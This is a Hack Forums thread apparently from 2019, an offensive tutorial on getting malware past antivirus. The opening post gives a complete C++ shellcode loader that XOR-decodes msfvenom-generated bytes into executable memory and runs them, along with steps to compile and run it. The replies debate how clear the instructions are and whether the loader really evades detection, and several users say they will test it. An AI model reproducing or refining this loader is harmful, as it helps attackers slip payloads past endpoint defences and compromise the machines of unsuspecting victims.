[TUT] Bypassing AV with 10 lines of code

[TUT] Bypassing AV with 10 lines of code - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: [TUT] Bypassing AV with 10 lines of code (/showthread.php?tid=5942550)

[TUT] Bypassing AV with 10 lines of code - Clova - Feb 18, 2019

Hey HF,

I am here to show you that AV is largely useless. Most people agree that bypassing most antivirus based solutions is not that hard, however we don’t all have the same skillsets; some of us have been at this longer than others.

To start, generate your shellcode in C# format (eg 0xA3, 0xFF) using something like msfvenom.

Next, write the following C++ code to a few called av_bypass.cpp:

Code 
#include <windows.h>

#include <iostream>

int main(int argc, char **argv) {

 char b[] = {/* your XORd with key of 'x' shellcode goes here i.e. 0x4C,0x4F, 0x4C */};

 char c[sizeof b];

 for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}

 void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

 memcpy(exec, c, sizeof c);

 ((void(*)())exec)();

}

and paste your shellcode in the char[].

Finally, compile the file and run it:

Code 
cl av_bypass.cpp

NOTE: Spoiler (Click to View)

Thanks!

RE: [TUT] Bypassing AV with 10 lines of code - Baud - Feb 20, 2019

You obviously copied this from somewhere else because you're not providing the correct instructions on how to use this code. This is just a simple XOR crypter, the output of msfvenom is a full executable unless you ask for a raw output, and even then, you'd need to XOR the output manually before you can paste its bytes in hexadecimal form inside the code above.

(Feb 18, 2019 02:52 PM)Clova Wrote: To start, generate your shellcode in C# format (eg 0xA3, 0xFF) using something like msfvenom.

Also this screams "I don't know what I'm talking about" from a mile away. C# is a programming language, you're referring to hexadecimal notation. Besides simple XOR crypters are typically picked up immediately during runtime, have you actually tested this? Can you provide a link to a binary you have successfully bypassed an AV using this crypter, and the corresponding scan results?

RE: [TUT] Bypassing AV with 10 lines of code - Clova - Feb 20, 2019

(Feb 20, 2019 02:11 PM)Baud Wrote: You obviously copied this from somewhere else because you're not providing the correct instructions on how to use this code. This is just a simple XOR crypter, the output of msfvenom is a full executable unless you ask for a raw output, and even then, you'd need to XOR the output manually before you can paste its bytes in hexadecimal form inside the code above.

Also this screams "I don't know what I'm talking about" from a mile away. C# is a programming language, you're referring to hexadecimal notation. Besides simple XOR crypters are typically picked up immediately during runtime, have you actually tested this? Can you provide a link to a binary you have successfully bypassed an AV using this crypter, and the corresponding scan results?

Msfvenom calls the "0xFF" format 'csharp', just trying to go for consistency. Not all hex notations are created equal.

RE: [TUT] Bypassing AV with 10 lines of code - Baud - Feb 20, 2019

(Feb 20, 2019 02:47 PM)Clova Wrote: Msfvenom calls the "0xFF" format 'csharp', just trying to go for consistency. Not all hex notations are created equal.

So you mean the "-f csharp" flag, my bad, seeing C# takes my mind in other places. However if you want this guide to be actually helpful for beginners (as you have said yourself) you should make sure clear steps are provided with a good explanation to avoid confusions, and to allow your readers to understand how things work.

RE: [TUT] Bypassing AV with 10 lines of code - Clova - Feb 20, 2019

(Feb 20, 2019 03:46 PM)Baud Wrote: So you mean the "-f csharp" flag, my bad, seeing C# takes my mind in other places. However if you want this guide to be actually helpful for beginners (as you have said yourself) you should make sure clear steps are provided with a good explanation to avoid confusions, and to allow your readers to understand how things work.

Yes, that flag. I'll update the post, thanks for the suggestion!

RE: [TUT] Bypassing AV with 10 lines of code - eckson66 - Feb 21, 2019

wow this is very interesting to i will test it and give u feedback

RE: [TUT] Bypassing AV with 10 lines of code - wrapmycode - Apr 4, 2019

I have to test this code. thank you

RE: [TUT] Bypassing AV with 10 lines of code - dracx - Apr 5, 2019

I dont think this will bypass the AV, this seems like a pretty basic crypter code and I guess AVs will pick it up immediately. Allocate memory, then execute it? I dont see much success. thanks for sharing btw.

RE: [TUT] Bypassing AV with 10 lines of code - Sitrep - Apr 6, 2019

I think the tutorial is hard to understand since you left some critical parts out.
My first thought is where do I use that C# code? And how do I implement it with msfvenom?
Maybe I lack with experience here but regardless you should add those steps in the tutorial, just to make it simpler to understand.